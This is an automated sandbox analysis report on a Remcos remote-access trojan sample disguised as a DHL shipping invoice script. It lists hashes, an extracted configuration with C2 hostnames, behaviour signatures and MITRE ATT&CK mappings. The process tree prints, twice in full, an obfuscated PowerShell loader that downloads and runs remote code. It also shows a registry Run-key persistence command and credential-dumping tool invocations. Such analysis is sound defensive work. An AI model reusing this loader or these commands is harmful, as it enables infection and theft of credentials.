remcos | 56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c

General

Target

DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs
Size

72KB
MD5

2c6f72e7eaa64a9c71c4bcb7443057c7
SHA1

a0b2ae9f70163e5649c56b673d2b12f69ec39714
SHA256

56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c
SHA512

19eebf6615c1c78bdb7b63ac93fb7d8c2724146575a622c5a36b59cbceb6f888e6f9ec35fe02d5dce61d552f9f59e2a75833ae085c73a2a45398f9b8384484da
SSDEEP

1536:Ft9NyhoBryzHywwruvVtpliTUEH7lNZjKu:Vr2IiNtqH7lXKu

Score

10^/10

remcos cla$$y collection discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Cla$$y

C2

hjnourt38haoust1.duckdns.org:57484

hjnourt38haoust1.duckdns.org:57483

iwarsut775laudryed1.duckdns.org:57484

iwarsut775laudryed2.duckdns.org:57484

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
kabnspt.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
shibetgtst-XSNZ2G
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3988-68-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2148-67-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3288-73-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2148-67-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3988-68-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	2032	WScript.exe
9	1172	powershell.exe
34	4316	msiexec.exe
36	4316	msiexec.exe
40	4316	msiexec.exe
41	4316	msiexec.exe
43	4316	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Terminalsekvensernes = "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\\Software\\Reliberating\\').Citronsommerfugle;%Centroids% ($Jazze)"	reg.exe

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2784	powershell.exe
1172	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4316	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2784	powershell.exe
4316	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4316 set thread context of 3988	4316	msiexec.exe	104
PID 4316 set thread context of 2148	4316	msiexec.exe	105
PID 4316 set thread context of 3288	4316	msiexec.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2032	WScript.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2936	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1172	powershell.exe
1172	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
3988	msiexec.exe
3988	msiexec.exe
3288	msiexec.exe
3288	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2784	powershell.exe
4316	msiexec.exe
4316	msiexec.exe
4316	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	3288	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4316	msiexec.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 1172	2032	WScript.exe	84
PID 2032 wrote to memory of 1172	2032	WScript.exe	84
PID 2784 wrote to memory of 4316	2784	powershell.exe	98
PID 2784 wrote to memory of 4316	2784	powershell.exe	98
PID 2784 wrote to memory of 4316	2784	powershell.exe	98
PID 2784 wrote to memory of 4316	2784	powershell.exe	98
PID 4316 wrote to memory of 2032	4316	msiexec.exe	101
PID 4316 wrote to memory of 2032	4316	msiexec.exe	101
PID 4316 wrote to memory of 2032	4316	msiexec.exe	101
PID 2032 wrote to memory of 2936	2032	cmd.exe	103
PID 2032 wrote to memory of 2936	2032	cmd.exe	103
PID 2032 wrote to memory of 2936	2032	cmd.exe	103
PID 4316 wrote to memory of 3988	4316	msiexec.exe	104
PID 4316 wrote to memory of 3988	4316	msiexec.exe	104
PID 4316 wrote to memory of 3988	4316	msiexec.exe	104
PID 4316 wrote to memory of 3988	4316	msiexec.exe	104
PID 4316 wrote to memory of 2148	4316	msiexec.exe	105
PID 4316 wrote to memory of 2148	4316	msiexec.exe	105
PID 4316 wrote to memory of 2148	4316	msiexec.exe	105
PID 4316 wrote to memory of 2148	4316	msiexec.exe	105
PID 4316 wrote to memory of 3288	4316	msiexec.exe	106
PID 4316 wrote to memory of 3288	4316	msiexec.exe	106
PID 4316 wrote to memory of 3288	4316	msiexec.exe	106
PID 4316 wrote to memory of 3288	4316	msiexec.exe	106

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1172

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2032
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2936
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kmcxcxabrycjttdexwxrouobzlvqjsuyge"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngppcpk"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2148
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\xiuidivwto"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Network Service Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

